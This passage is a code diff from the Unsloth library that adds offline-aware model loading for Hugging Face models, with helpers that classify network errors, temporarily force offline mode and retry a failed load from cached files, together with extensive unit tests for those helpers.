     # --- Fall back to fetching from HuggingFace ----------------------------
@@ -633,9 +677,11 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
         return None
 
     if _env_offline():
-        # No network: a previously downloaded repo can still tier from the hub cache.
+        # No network: a previously downloaded repo can still tier from the hub cache. Cache a
+        # real hit, but never the miss (None) so a later online read still fetches the config.
         cfg = _config_json_from_hf_cache(model_name)
-        _config_json_cache[cache_key] = cfg
+        if cfg is not None:
+            _config_json_cache[cache_key] = cfg
         return cfg
 
     import urllib.error
diff --git a/tests/test_offline_loading_helpers.py b/tests/test_offline_loading_helpers.py
new file mode 100644
index 0000000000..b7176dbff4
--- /dev/null
+++ b/tests/test_offline_loading_helpers.py
@@ -0,0 +1,539 @@
+"""Unit tests for the offline-loading helpers in unsloth/models/loader_utils.py:
+error classification, _force_hf_offline flip/restore, and the retry orchestrator.
+Pure CPU, no network, no GPU."""
+
+import os
+import socket
+
+import pytest
+
+from unsloth.models import loader_utils as L
+
+
+# ---------------------------------------------------------------------------
+# _env_says_offline / _get_effective_local_files_only
+# ---------------------------------------------------------------------------
+
+_OFFLINE_TRUE = ("1", "true", "yes", "on", "ON", " 1 ", "\tyes\n")
+_OFFLINE_FALSE = ("0", "no", "false", "off", "", "  ", "maybe")
+
+
+@pytest.mark.parametrize("value", _OFFLINE_TRUE)
+def test_env_says_offline_truthy(monkeypatch, value):
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert L._env_says_offline() is True
+
+
+@pytest.mark.parametrize("value", _OFFLINE_FALSE)
+def test_env_says_offline_falsy(monkeypatch, value):
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert L._env_says_offline() is False
+
+
+def test_env_says_offline_absent(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._env_says_offline() is False
+
+
+def test_env_says_offline_transformers_var(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    assert L._env_says_offline() is True
+
+
+def test_effective_lfo_kwarg_wins(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._get_effective_local_files_only({"local_files_only": True}) is True
+
+
+def test_effective_lfo_env_only(monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    assert L._get_effective_local_files_only({}) is True
+
+
+def test_effective_lfo_neither(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._get_effective_local_files_only({"local_files_only": False}) is False
+
+
+def test_effective_lfo_is_read_only():
+    # Must not pop local_files_only: the weight load reuses the same kwarg.
+    kwargs = {"local_files_only": True}
+    L._get_effective_local_files_only(kwargs)
+    assert kwargs == {"local_files_only": True}
+
+
+# ---------------------------------------------------------------------------
+# _is_offline_related_error
+# ---------------------------------------------------------------------------
+
+
+def _http_error(status):
+    import requests
+
+    resp = requests.Response()
+    resp.status_code = status
+    return requests.exceptions.HTTPError("http %s" % status, response = resp)
+
+
+def test_none_is_not_offline():
+    assert L._is_offline_related_error(None) is False
+
+
+def test_plain_connection_error_is_offline():
+    assert L._is_offline_related_error(ConnectionError("down")) is True
+
+
+def test_timeout_error_is_offline():
+    assert L._is_offline_related_error(TimeoutError("slow")) is True
+
+
+def test_plain_file_not_found_propagates():
+    assert L._is_offline_related_error(FileNotFoundError("config.json")) is False
+
+
+def test_unrelated_error_is_not_offline():
+    assert L._is_offline_related_error(ValueError("bad arg")) is False
+
+
+def test_requests_connection_error_is_offline():
+    import requests
+    assert L._is_offline_related_error(requests.exceptions.ConnectionError("x")) is True
+
+
+@pytest.mark.parametrize("status", (500, 502, 503, 504))
+def test_http_5xx_is_offline(status):
+    assert L._is_offline_related_error(_http_error(status)) is True
+
+
+@pytest.mark.parametrize("status", (400, 401, 403, 404))
+def test_http_4xx_propagates(status):
+    assert L._is_offline_related_error(_http_error(status)) is False
+
+
+def test_status_less_http_with_network_wording_is_offline():
+    import requests
+    err = requests.exceptions.HTTPError("Couldn't connect to the server")
+    assert L._is_offline_related_error(err) is True
+
+
+def test_status_less_http_without_network_wording_propagates():
+    import requests
+    err = requests.exceptions.HTTPError("I'm a teapot")
+    assert L._is_offline_related_error(err) is False
+
+
+def test_gaierror_dns_failure_is_offline():
+    assert L._is_offline_related_error(socket.gaierror(-2, "Name or service not known")) is True
+
+
+def test_gaierror_without_wording_is_offline_by_type():
+    # Matched by type, so a locale-specific / empty message still classifies offline.
+    assert L._is_offline_related_error(socket.gaierror(-2, "")) is True
+
+
+def test_urllib_urlerror_is_offline():
+    import urllib.error
+    assert L._is_offline_related_error(urllib.error.URLError("connection failed")) is True
+
+
+def test_urllib_httperror_404_propagates():
+    import urllib.error
+    err = urllib.error.HTTPError("http://x", 404, "Not Found", {}, None)
+    assert L._is_offline_related_error(err) is False
+
+
+def test_urllib_httperror_503_is_offline():
+    import urllib.error
+    err = urllib.error.HTTPError("http://x", 503, "Service Unavailable", {}, None)
+    assert L._is_offline_related_error(err) is True
+
+
+def test_ssl_error_is_not_offline():
+    # TLS/cert failure must surface, not silently fall back to cached files.
+    import ssl
+    assert L._is_offline_related_error(ssl.SSLError("certificate verify failed")) is False
+
+
+def test_requests_ssl_error_is_not_offline():
+    # requests.SSLError subclasses ConnectionError, but is still a TLS failure -> not offline.
+    requests = pytest.importorskip("requests")
+    assert L._is_offline_related_error(requests.exceptions.SSLError("bad cert")) is False
+
+
+def test_urlerror_wrapping_ssl_is_not_offline():
+    import ssl
+    import urllib.error
+
+    err = urllib.error.URLError(ssl.SSLCertVerificationError("self-signed certificate"))
+    assert L._is_offline_related_error(err) is False
+
+
+def test_ssl_node_does_not_hide_deeper_connection_cause():
+    # Skipping a TLS node must not abort the walk: a genuine outage deeper still counts.
+    import ssl
+
+    outer = RuntimeError("load failed")
+    mid = ssl.SSLError("cert")
+    mid.__context__ = ConnectionError("down")
+    outer.__cause__ = mid
+    assert L._is_offline_related_error(outer) is True
+
+
+def test_oserror_network_unreachable_is_offline():
+    assert L._is_offline_related_error(OSError("Network is unreachable")) is True
+
+
+def test_offline_mode_is_enabled_is_offline():
+    errors = pytest.importorskip("huggingface_hub.errors")
+    assert L._is_offline_related_error(errors.OfflineModeIsEnabled("offline")) is True
+
+
+def test_local_entry_not_found_is_offline():
+    # Both a FileNotFoundError and an HfHubHTTPError, but means "not cached + Hub down" -> offline.
+    errors = pytest.importorskip("huggingface_hub.errors")
+    assert L._is_offline_related_error(errors.LocalEntryNotFoundError("missing")) is True
+
+
+def test_chained_cause_connection_error_is_offline():
+    err = RuntimeError("combined load failure")
+    err.__cause__ = ConnectionError("down")
+    assert L._is_offline_related_error(err) is True
+
+
+def test_chained_context_connection_error_is_offline():
+    try:
+        try:
+            raise ConnectionError("down")
+        except ConnectionError:
+            raise RuntimeError("wrap")
+    except RuntimeError as e:
+        err = e
+    assert L._is_offline_related_error(err) is True
+
+
+def test_chained_cause_404_still_propagates():
+    err = RuntimeError("combined load failure")
+    err.__cause__ = _http_error(404)
+    assert L._is_offline_related_error(err) is False
+
+
+def test_cause_context_cycle_terminates():
+    a = RuntimeError("a")
+    b = RuntimeError("b")
+    a.__context__ = b
+    b.__context__ = a
+    # Must not hang; neither is network-related.
+    assert L._is_offline_related_error(a) is False
+
+
+# ---------------------------------------------------------------------------
+# _force_hf_offline
+# ---------------------------------------------------------------------------
+
+
+def _inprocess_offline_flags():
+    flags = []
+    try:
+        import huggingface_hub.constants as hfc
+        if hasattr(hfc, "HF_HUB_OFFLINE"):
+            flags.append(hfc.HF_HUB_OFFLINE)
+    except Exception:
+        pass
+    try:
+        import transformers.utils.hub as tuh
+        for attr in ("_is_offline_mode", "OFFLINE"):
+            if hasattr(tuh, attr):
+                flags.append(getattr(tuh, attr))
+    except Exception:
+        pass
+    return flags
+
+
+def test_force_offline_sets_and_restores_absent_env(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with L._force_hf_offline():
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        assert os.environ.get("TRANSFORMERS_OFFLINE") == "1"
+    # Absent before -> absent after (not left as "1").
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+    assert os.environ.get("TRANSFORMERS_OFFLINE") is None
+
+
+def test_force_offline_preserves_prior_env_value(monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "0")
+    with L._force_hf_offline():
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+    assert os.environ.get("HF_HUB_OFFLINE") == "0"
+
+
+def test_force_offline_flips_inprocess_constants():
+    before = _inprocess_offline_flags()
+    with L._force_hf_offline():
+        during = _inprocess_offline_flags()
+        assert during, "expected at least one in-process offline flag to inspect"
+        assert all(flag is True for flag in during)
+    assert _inprocess_offline_flags() == before
+
+
+def test_force_offline_nesting_shares_one_flip(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with L._force_hf_offline():
+        with L._force_hf_offline():
+            assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        # Inner exit must NOT restore while the outer window is still open.
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+
+
+def test_force_offline_restores_on_exception(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with pytest.raises(RuntimeError):
+        with L._force_hf_offline():
+            assert os.environ.get("HF_HUB_OFFLINE") == "1"
+            raise RuntimeError("boom")
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+    assert os.environ.get("TRANSFORMERS_OFFLINE") is None
+
+
+def test_force_offline_depth_returns_to_zero():
+    assert L._force_offline_depth == 0
+    with L._force_hf_offline():
+        assert L._force_offline_depth == 1
+    assert L._force_offline_depth == 0
+
+
+def test_reset_hf_sessions_is_safe():
+    # Best-effort no-op when the hub helper is missing; must never raise.
+    L._reset_hf_sessions()
+
+
+# ---------------------------------------------------------------------------
+# _has_local_tokenizer_files / _resolve_checkpoint_tokenizer_name
+# ---------------------------------------------------------------------------
+
+
+def _touch(path, name):
+    open(os.path.join(path, name), "w").close()
+
+
+def test_has_local_tokenizer_json(tmp_path):
+    _touch(tmp_path, "tokenizer.json")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_model(tmp_path):
+    _touch(tmp_path, "tokenizer.model")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_bpe_needs_merges(tmp_path):
+    # vocab.json alone is not loadable BPE; it needs merges.txt.
+    _touch(tmp_path, "vocab.json")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is False
+    _touch(tmp_path, "merges.txt")
+    assert L._has_local_tokenizer_files(str(tmp_path)) is True
+
+
+def test_has_local_tokenizer_empty_dir(tmp_path):
+    assert L._has_local_tokenizer_files(str(tmp_path)) is False
+
+
+def test_resolve_tokenizer_explicit_override_wins(tmp_path):
+    kwargs = {"tokenizer_name": "base/repo"}
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), kwargs) == "base/repo"
+    # tokenizer_name is always popped (it is passed explicitly downstream too).
+    assert "tokenizer_name" not in kwargs
+
+
+def test_resolve_tokenizer_self_sufficient_dir(tmp_path):
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    kwargs = {}
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), kwargs) == str(tmp_path)
+
+
+def test_resolve_tokenizer_config_without_files_falls_back(tmp_path):
+    # Has tokenizer_config.json but no loadable tokenizer file -> base repo.
+    _touch(tmp_path, "tokenizer_config.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}) is None
+
+
+def test_resolve_tokenizer_nonexistent_dir_falls_back():
+    assert L._resolve_checkpoint_tokenizer_name("/no/such/dir", {}) is None
+
+
+# ---------------------------------------------------------------------------
+# _offline_aware_load (the retry orchestrator)
+# ---------------------------------------------------------------------------
+
+
+def test_retry_once_on_offline_error_then_succeed(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(dict(kwargs))
+        if len(calls) == 1:
+            raise ConnectionError("network down")
+        return "ok"
+
+    assert fake("model") == "ok"
+    assert len(calls) == 2
+    assert not calls[0].get("local_files_only")
+    assert calls[1].get("local_files_only") is True
+    assert L._force_offline_depth == 0
+
+
+def test_no_retry_on_non_offline_error(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        raise ValueError("genuine bug, not a network issue")
+
+    with pytest.raises(ValueError):
+        fake("model")
+    assert len(calls) == 1
+
+
+def test_no_retry_when_already_offline_via_kwarg(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(dict(kwargs))
+        # Offline window is active for the single attempt.
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        return "ok"
+
+    assert fake("model", local_files_only = True) == "ok"
+    assert len(calls) == 1
+    assert L._force_offline_depth == 0
+
+
+def test_offline_error_when_already_offline_propagates(monkeypatch):
+    # Already offline -> no online attempt to retry, so the error propagates once.
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        raise ConnectionError("still down")
+
+    with pytest.raises(ConnectionError):
+        fake("model")
+    assert len(calls) == 1
+    assert L._force_offline_depth == 0
+
+
+def test_kwargs_preserved_across_retry(monkeypatch):
+    # Callee popping config/tokenizer_name must not change what the retry sees:
+    # fn(*args, **kwargs) re-packs a fresh **kwargs per call.
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    seen = []
+
+    @L._offline_aware_load
+    def fake(model_name, **kwargs):
+        cfg = kwargs.pop("config", None)
+        tok = kwargs.pop("tokenizer_name", None)
+        seen.append((cfg, tok))
+        if len(seen) == 1:
+            raise ConnectionError("down")
+        return cfg, tok
+
+    assert fake("m", config = "CFG", tokenizer_name = "TOK") == ("CFG", "TOK")
+    assert seen == [("CFG", "TOK"), ("CFG", "TOK")]
+
+
+def test_retry_runs_gc_collect_between_attempts(monkeypatch):
+    # The retry lives OUTSIDE the except so the failed attempt's traceback (a
+    # partial model) is freed by gc.collect() before the second load reallocates.
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    gc_calls = []
+    monkeypatch.setattr(L.gc, "collect", lambda *a, **k: gc_calls.append(1))
+    calls = []
+
+    @L._offline_aware_load
+    def fake(*args, **kwargs):
+        calls.append(1)
+        if len(calls) == 1:
+            raise ConnectionError("down")
+        # By the retry attempt, gc.collect() must already have fired.
+        assert gc_calls, "gc.collect must run before the offline retry"
+        return "ok"
+
+    gc_calls.clear()
+    assert fake("model") == "ok"
+    assert len(calls) == 2
+    assert len(gc_calls) == 1
+
+
+# ---------------------------------------------------------------------------
+# _force_hf_offline — constant restore (no stale offline pin)
+# ---------------------------------------------------------------------------
+
+
+def test_force_offline_restores_freshly_imported_constant(monkeypatch):
+    # If huggingface_hub.constants is first imported inside the window, the saved value must
+    # be the pre-window state, not the just-forced "1"; otherwise the process pins offline.
+    import sys
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    saved_mod = sys.modules.get("huggingface_hub.constants")
+    saved_val = getattr(saved_mod, "HF_HUB_OFFLINE", None) if saved_mod else None
+    try:
+        sys.modules.pop("huggingface_hub.constants", None)  # simulate "not imported yet"
+        with L._force_hf_offline():
+            import huggingface_hub.constants as hfc_in
+            assert hfc_in.HF_HUB_OFFLINE is True  # forced offline inside the window
+        import huggingface_hub.constants as hfc_after
+
+        assert hfc_after.HF_HUB_OFFLINE is False  # restored, not pinned True
+        assert os.environ.get("HF_HUB_OFFLINE") is None
+    finally:
+        if saved_mod is not None:
+            sys.modules["huggingface_hub.constants"] = saved_mod
+            if saved_val is not None:
+                saved_mod.HF_HUB_OFFLINE = saved_val
+
+
+# ---------------------------------------------------------------------------
+# _resolve_checkpoint_tokenizer_name — VLM needs local processor files
+# ---------------------------------------------------------------------------
+
+
+def test_resolve_tokenizer_vlm_without_processor_falls_back(tmp_path):
+    # VLM checkpoint with tokenizer files but no processor config -> base repo (None), so its
+    # cached processor still loads instead of AutoProcessor failing on the local dir.
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}, require_processor = True) is None
+
+
+def test_resolve_tokenizer_vlm_with_processor_uses_local_dir(tmp_path):
+    _touch(tmp_path, "tokenizer_config.json")
+    _touch(tmp_path, "tokenizer.json")
+    _touch(tmp_path, "preprocessor_config.json")
+    assert L._resolve_checkpoint_tokenizer_name(str(tmp_path), {}, require_processor = True) == str(
+        tmp_path
+    )
diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index e8584caf7d..2399334983 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -2527,144 +2527,148 @@ class FastLlamaModel:
         kwargs = add_dtype_kwargs(dtype, kwargs)
 
         raise_handler = RaiseUninitialized()
-        if num_labels is not None:
-            # Transformers 5.x @strict config classes reject unexpected kwargs
-            # like num_labels and max_position_embeddings. Set on the config
-            # object directly and pass config= instead.
-            set_task_config_attr(model_config, "num_labels", num_labels)
-            if max_position_embeddings is not None:
-                model_config.max_position_embeddings = max_position_embeddings
-            # Pop config-level attrs that would be rejected by @strict model init
-            for _cfg_key in ("id2label", "label2id", "rope_scaling"):
-                _cfg_val = kwargs.pop(_cfg_key, None)
-                if _cfg_val is not None:
-                    if _cfg_key in ("id2label", "label2id"):
-                        set_task_config_attr(model_config, _cfg_key, _cfg_val)
-                    else:
-                        setattr(model_config, _cfg_key, _cfg_val)
-            model = AutoModelForSequenceClassification.from_pretrained(
-                model_name,
-                config = model_config,
-                device_map = device_map,
-                # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
-                # quantization_config     = bnb_config,
-                token = token,
-                trust_remote_code = trust_remote_code,
-                attn_implementation = preferred_attn_impl,
-                **kwargs,
-            )
-            # Defensive: ensure the task head is in a floating dtype, guarding
-            # against any path leaving it as integer storage. See unslothai/unsloth#5027.
-            for _head_name in ("score", "classifier", "qa_outputs"):
-                _head = getattr(model, _head_name, None)
-                if (
-                    _head is not None
-                    and hasattr(_head, "weight")
-                    and not _head.weight.is_floating_point()
-                ):
-                    _head.to(dtype)
-            # Attach dispatch hooks for bnb multi-device loads.
-            from unsloth.models.vision import _attach_bnb_multidevice_hooks
-
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = kwargs.get("load_in_8bit", False),
-                offload_embedding = False,
-                fast_inference = fast_inference,
-            )
-        elif not fast_inference:
-            if user_config is not None:
-                # Transformers 5.x @strict model init rejects extra kwargs next
-                # to config=; set the override on the config and pass the single
-                # config object through so user overrides reach the actual load.
+        try:
+            if num_labels is not None:
+                # Transformers 5.x @strict config classes reject unexpected kwargs
+                # like num_labels and max_position_embeddings. Set on the config
+                # object directly and pass config= instead.
+                set_task_config_attr(model_config, "num_labels", num_labels)
                 if max_position_embeddings is not None:
                     model_config.max_position_embeddings = max_position_embeddings
-                model = AutoModelForCausalLM.from_pretrained(
+                # Pop config-level attrs that would be rejected by @strict model init
+                for _cfg_key in ("id2label", "label2id", "rope_scaling"):
+                    _cfg_val = kwargs.pop(_cfg_key, None)
+                    if _cfg_val is not None:
+                        if _cfg_key in ("id2label", "label2id"):
+                            set_task_config_attr(model_config, _cfg_key, _cfg_val)
+                        else:
+                            setattr(model_config, _cfg_key, _cfg_val)
+                model = AutoModelForSequenceClassification.from_pretrained(
                     model_name,
                     config = model_config,
                     device_map = device_map,
-                    token = token,
-                    trust_remote_code = trust_remote_code,
-                    attn_implementation = preferred_attn_impl,
-                    **kwargs,
-                )
-            else:
-                model = AutoModelForCausalLM.from_pretrained(
-                    model_name,
-                    device_map = device_map,
                     # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
                     # quantization_config     = bnb_config,
                     token = token,
-                    max_position_embeddings = max_position_embeddings,
                     trust_remote_code = trust_remote_code,
                     attn_implementation = preferred_attn_impl,
                     **kwargs,
                 )
-            # Attach dispatch hooks for bnb multi-device loads.
-            from unsloth.models.vision import _attach_bnb_multidevice_hooks
+                # Defensive: ensure the task head is in a floating dtype, guarding
+                # against any path leaving it as integer storage. See unslothai/unsloth#5027.
+                for _head_name in ("score", "classifier", "qa_outputs"):
+                    _head = getattr(model, _head_name, None)
+                    if (
+                        _head is not None
+                        and hasattr(_head, "weight")
+                        and not _head.weight.is_floating_point()
+                    ):
+                        _head.to(dtype)
+                # Attach dispatch hooks for bnb multi-device loads.
+                from unsloth.models.vision import _attach_bnb_multidevice_hooks
 
-            _attach_bnb_multidevice_hooks(
-                model,
-                load_in_4bit = load_in_4bit,
-                load_in_8bit = kwargs.get("load_in_8bit", False),
-                offload_embedding = False,
-                fast_inference = False,
-            )
-            model.fast_generate = make_fast_generate_wrapper(model.generate)
-            model.fast_generate_batches = None
-        else:
-            from unsloth_zoo.vllm_utils import (
-                load_vllm,
-                get_vllm_state_dict,
-                convert_vllm_to_huggingface,
-                generate_batches,
-            )
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = kwargs.get("load_in_8bit", False),
+                    offload_embedding = False,
+                    fast_inference = fast_inference,
+                )
+            elif not fast_inference:
+                if user_config is not None:
+                    # Transformers 5.x @strict model init rejects extra kwargs next
+                    # to config=; set the override on the config and pass the single
+                    # config object through so user overrides reach the actual load.
+                    if max_position_embeddings is not None:
+                        model_config.max_position_embeddings = max_position_embeddings
+                    model = AutoModelForCausalLM.from_pretrained(
+                        model_name,
+                        config = model_config,
+                        device_map = device_map,
+                        token = token,
+                        trust_remote_code = trust_remote_code,
+                        attn_implementation = preferred_attn_impl,
+                        **kwargs,
+                    )
+                else:
+                    model = AutoModelForCausalLM.from_pretrained(
+                        model_name,
+                        device_map = device_map,
+                        # torch_dtype             = dtype, # transformers changed torch_dtype to dtype
+                        # quantization_config     = bnb_config,
+                        token = token,
+                        max_position_embeddings = max_position_embeddings,
+                        trust_remote_code = trust_remote_code,
+                        attn_implementation = preferred_attn_impl,
+                        **kwargs,
+                    )
+                # Attach dispatch hooks for bnb multi-device loads.
+                from unsloth.models.vision import _attach_bnb_multidevice_hooks
 
-            fp8_mode = None
-            if load_in_fp8 != False:
-                fp8_mode = _get_fp8_mode_and_check_settings(
-                    load_in_fp8,
-                    fast_inference,
+                _attach_bnb_multidevice_hooks(
+                    model,
+                    load_in_4bit = load_in_4bit,
+                    load_in_8bit = kwargs.get("load_in_8bit", False),
+                    offload_embedding = False,
+                    fast_inference = False,
+                )
+                model.fast_generate = make_fast_generate_wrapper(model.generate)
+                model.fast_generate_batches = None
+            else:
+                from unsloth_zoo.vllm_utils import (
+                    load_vllm,
+                    get_vllm_state_dict,
+                    convert_vllm_to_huggingface,
+                    generate_batches,
                 )
 
-            allowed_args = inspect.getfullargspec(load_vllm).args
-            load_vllm_kwargs = dict(
-                model_name = model_name,
-                config = model_config,
-                gpu_memory_utilization = gpu_memory_utilization,
-                max_seq_length = max_seq_length,
-                dtype = dtype,
-                float8_kv_cache = float8_kv_cache,
-                enable_lora = True,
-                max_lora_rank = max_lora_rank,
-                disable_log_stats = disable_log_stats,
-                use_bitsandbytes = load_in_4bit,
-                unsloth_vllm_standby = unsloth_vllm_standby,
-                fp8_mode = fp8_mode,
-            )
-            for allowed_arg in allowed_args:
-                if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
-                    load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
-            pass
+                fp8_mode = None
+                if load_in_fp8 != False:
+                    fp8_mode = _get_fp8_mode_and_check_settings(
+                        load_in_fp8,
+                        fast_inference,
+                    )
 
-            # Load vLLM first
-            llm = load_vllm(**load_vllm_kwargs)
+                allowed_args = inspect.getfullargspec(load_vllm).args
+                load_vllm_kwargs = dict(
+                    model_name = model_name,
+                    config = model_config,
+                    gpu_memory_utilization = gpu_memory_utilization,
+                    max_seq_length = max_seq_length,
+                    dtype = dtype,
+                    float8_kv_cache = float8_kv_cache,
+                    enable_lora = True,
+                    max_lora_rank = max_lora_rank,
+                    disable_log_stats = disable_log_stats,
+                    use_bitsandbytes = load_in_4bit,
+                    unsloth_vllm_standby = unsloth_vllm_standby,
+                    fp8_mode = fp8_mode,
+                )
+                for allowed_arg in allowed_args:
+                    if allowed_arg not in load_vllm_kwargs and allowed_arg in kwargs:
+                        load_vllm_kwargs[allowed_arg] = kwargs[allowed_arg]
+                pass
 
-            # Convert to HF format
-            _, quant_state_dict = get_vllm_state_dict(
-                llm,
-                config = model_config,
-                load_in_fp8 = load_in_fp8,
-            )
-            model = convert_vllm_to_huggingface(quant_state_dict, model_config, dtype, bnb_config)
-            model.vllm_engine = llm
-            llm.shared_weights = True
-            model.fast_generate = model.vllm_engine.generate
-            model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
-        raise_handler.remove()
-        # Return old flag
-        os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
+                # Load vLLM first
+                llm = load_vllm(**load_vllm_kwargs)
+
+                # Convert to HF format
+                _, quant_state_dict = get_vllm_state_dict(
+                    llm,
+                    config = model_config,
+                    load_in_fp8 = load_in_fp8,
+                )
+                model = convert_vllm_to_huggingface(
+                    quant_state_dict, model_config, dtype, bnb_config
+                )
+                model.vllm_engine = llm
+                llm.shared_weights = True
+                model.fast_generate = model.vllm_engine.generate
+                model.fast_generate_batches = functools.partial(generate_batches, model.vllm_engine)
+        finally:
+            raise_handler.remove()
+            # Return old flag
+            os.environ["HF_HUB_ENABLE_HF_TRANSFER"] = old_hf_transfer
 
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index f629899f0c..75eba2d9f8 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -38,6 +38,9 @@ from .loader_utils import (
     _tag_model_with_fp8_torchao_config,
     get_model_name,
     prepare_device_map,
+    _offline_aware_load,
+    _resolve_checkpoint_tokenizer_name,
+    _is_offline_related_error,
 )
 import os, contextlib, sys
 
@@ -284,6 +287,7 @@ def _fix_rope_inv_freq(model):
 
 class FastLanguageModel(FastLlamaModel):
     @staticmethod
+    @_offline_aware_load
     def from_pretrained(
         model_name = "unsloth/Llama-3.2-1B-Instruct",
         max_seq_length = 2048,
@@ -357,16 +361,7 @@ class FastLanguageModel(FastLlamaModel):
             if is_dist:
                 device_map = distributed_device_map
 
-        # Honour offline env vars BEFORE FastModel delegation so 8bit /
-        # full-finetuning / qat paths also receive local_files_only.
-        if not kwargs.get("local_files_only", False):
-            _offline = {"1", "true", "yes", "on"}
-            if (
-                os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline
-                or os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline
-            ):
-                kwargs["local_files_only"] = True
-
+        # @_offline_aware_load already forced offline when needed; delegations inherit it.
         if load_in_8bit or full_finetuning or qat_scheme is not None:
             return FastModel.from_pretrained(
                 model_name = model_name,
@@ -496,6 +491,8 @@ class FastLanguageModel(FastLlamaModel):
 
         autoconfig_error = None
         peft_error = None
+        autoconfig_exc = None
+        peft_exc = None
         model_config = None
         peft_config = None
         local_files_only = kwargs.get("local_files_only", False)
@@ -513,6 +510,7 @@ class FastLanguageModel(FastLlamaModel):
             raise
         except Exception as error:
             autoconfig_error = str(error)
+            autoconfig_exc = error
             if "architecture" in autoconfig_error:
                 if "qwen3_5" in autoconfig_error:
                     raise ImportError(
@@ -539,6 +537,7 @@ class FastLanguageModel(FastLlamaModel):
             raise
         except Exception as error:
             peft_error = str(error)
+            peft_exc = error
             if "architecture" in peft_error:
                 raise ValueError(
                     f"`{model_name}` is not supported yet in `transformers=={transformers_version}`.\n"
@@ -557,6 +556,34 @@ class FastLanguageModel(FastLlamaModel):
                 "We must only allow one config file.\n"
                 "Please separate the LoRA and base models to 2 repos."
             )
+        if not is_model and not is_peft:
+            error = autoconfig_error if autoconfig_error is not None else peft_error
+            # Old transformers version
+            if "rope_scaling" in error.lower() and not SUPPORTS_LLAMA31:
+                raise ImportError(
+                    f"Unsloth: Your transformers version of {transformers_version} does not support new RoPE scaling methods.\n"
